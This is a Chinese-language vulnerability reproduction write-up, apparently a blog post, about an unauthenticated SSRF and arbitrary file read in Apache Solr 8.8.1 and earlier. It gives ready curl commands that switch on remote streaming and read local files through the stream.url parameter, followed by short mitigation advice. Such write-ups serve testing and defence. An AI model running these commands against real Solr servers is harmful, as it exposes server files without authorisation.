Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。
该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。
# 影响版本
Apache Solr <=8.8.1 (latest) ,通杀所有版本,官方拒绝修复
一:环境搭建
步骤一:下载Apache Solr漏洞源代码…
http:archive.apache.org/dist/lucene/solr/8.8.1/
步骤二:下载解压进入bin目录并打开CMD窗口执行以下命令…并通过浏览器进行访问…
solr start -p 3333
http://192.168.1.84:3333/
步骤三:点击 Core Admin --> Add Core 创建Core…如果出现红色报错按照以下步骤解决…
此时Solr已经在server/solr目录下已经创建了名字为new_core的文件夹
我们只需要把server/solr/configsets/default文件夹下的conf目录整个拷贝到new_core文件夹下,回到界面重新创建即刻成功...
二:漏洞复现
# 通过访问以下地址可以看到当前的 Core 名称...
http:192.168.110.125:3333/solr/admin/cores?indexInfo=false&wt=json
# 结合第一步获取到的Core名称访问以下地址可查看详细信息...
http://192.168.110.141:3333/solr/new_core/config
# 使用curl对 Config API 打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming 开关...
curl -d "{ "set-property" :{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}" http://192.168.110.125:3333/solr/new_core/config -H "Content-type:application/json"
# 使用curl对 stream.url 参数利用file伪协议读取本机的hosts的文件....
curl "http://192.168.110.141:3333/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:C:\Windows\System32\drivers\etc\hosts"
三:漏洞检测
https://github.com/Henry4E36/Solr-SSRF
https://github.com/W2Ning/Solr-SSRF
四:漏洞修复
将 Solr 端口仅对内网开放,并配置访问策略
无修复版本…
参考链接:
https://blog.csdn.net/qq_44159028/article/details/115394218
无修复版本…
参考链接:
https://blog.csdn.net/qq_44159028/article/details/115394218
https://www.cnblogs.com/impulse-/p/14764589.html
好小子,离成功又进一步!!!